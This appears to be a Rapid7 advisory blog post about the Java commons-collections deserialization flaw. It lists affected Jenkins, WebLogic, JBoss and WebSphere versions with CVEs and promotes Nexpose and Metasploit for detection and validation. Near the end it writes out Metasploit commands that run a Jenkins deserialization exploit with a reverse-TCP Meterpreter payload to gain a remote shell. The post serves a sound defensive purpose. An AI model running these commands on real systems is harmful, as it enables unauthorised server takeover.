Java based server applications are prevalent throughout most corporate networks.  Thousands, if not millions, of applications are deployed using JBoss, Jenkins, WebLogic and WebSphere - so when a vulnerability affecting the underlying technology pops up, the impact can be significant.  A vulnerability was recently discovered affecting any Java application which can receive data back from users, allowing malicious actors to insert unsafe data as it attempts to ingest the information.  The applications in the title of this post are some of the most popular, and are so widely deployed it is almost certain to hit a wide range of networks.

What is a serialization bug?

Programming languages provide methods to export data, either saving to disk or streaming over the network.  When data is streamed over the network it needs to be converted to another format (e.g. binary) and this process is called serialization.  When the application reads data in the opposite direction, it needs to convert back into the appropriate format.  The vulnerability arises when the applications can be tricked into accepting data which has a nefarious purpose, such as executing dangerous code and/or commands on the underlying server.

Why is this such a problem?

This is a big problem as practically all Java applications use serialization as a way to transfer data, and given how many of these applications are out there - the scale, and surface area for remote attack, is huge.

How do I know if I am affected?

Two of Rapid7's core Threat Exposure Management products - Nexpose and Metaploit - will let you detect whether you have vulnerable systems in your network, verify whether they can be actively exploited, and provide instruction on how to resolve outstanding vulnerabilities.

The fingerprinting capabilities within Nexpose can accurately determine if you have any vulnerable platforms running within your site and are therefore open to malicious attack.  The vulnerability exists in the commons-collections Java library which was found to be exploitable in a number of common platforms including JBoss, Jenkins, WebLogic, and WebSphere.  If you use any of the following platforms then you are potentially vulnerable to this exploit:

  • Jenkins versions below 1.638 and Jenkins LTS versions below 1.625.2 are vulnerable (CVE-2015-8103)
  • Oracle WebLogic Server, versions 10.3.6.0, 12.1.2.0, 12.1.3.0, 12.2.1.0 are vulnerable (CVE-2015-4852)
  • All JBoss AS and EAP versions are vulnerable (CVE-2015-7501)
  • Websphere versions 8.5 and 8.5.5 Full Profile and Liberty Profile, Version 8.0 and Version 7.0 are vulnerable (CVE-2015-7450)

Can it be exploited?

Once Nexpose identifies any potential vulnerable systems, Metasploit will let you confirm if those systems can be successfully exploited.

We have created a Metasploit module which is able to gain a shell giving us full control over a server running an un-patched instance of Jenkins.  For the record we love Jenkins, and while there were a few servers to test our exploit, Jenkins ended up being first!  The Metasploit module will utilize two stagers that are crafted as serialized InvocationHandler Java objects.  These stagers are executed sequentially with the first using FileUtils to write meterpreter to the file system, and the second to load and launch meterpreter.  This is a relatively quiet exploit in that no new threads or processes are spawned, only an existing Java thread is hijacked.    The following Metasploit module can be used to validate this vulnerability and prove definitively if a machine is at risk or not.  First you load the module, and check if the target is vulnerable (omitting setting the target IP etc)

msf > use exploit/linux/misc/jenkins_java_deserialize
...
msf exploit(jenkins_java_deserialize) > check

Then we set the payload and run the exploit to get a Meterpreter shell:

msf exploit(jenkins_java_deserialize) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
...
msf exploit(jenkins_java_deserialize) > run

You may have to run it a couple of times for it to trigger, but this will give you access via the meterpreter shell.

How can I fix it?

Nexpose provides solutions and remediation steps to instruct you on how to upgrade from the affected versions above, and ultimately ensure you are no longer exposed to this vulnerability.

Link to original research article here.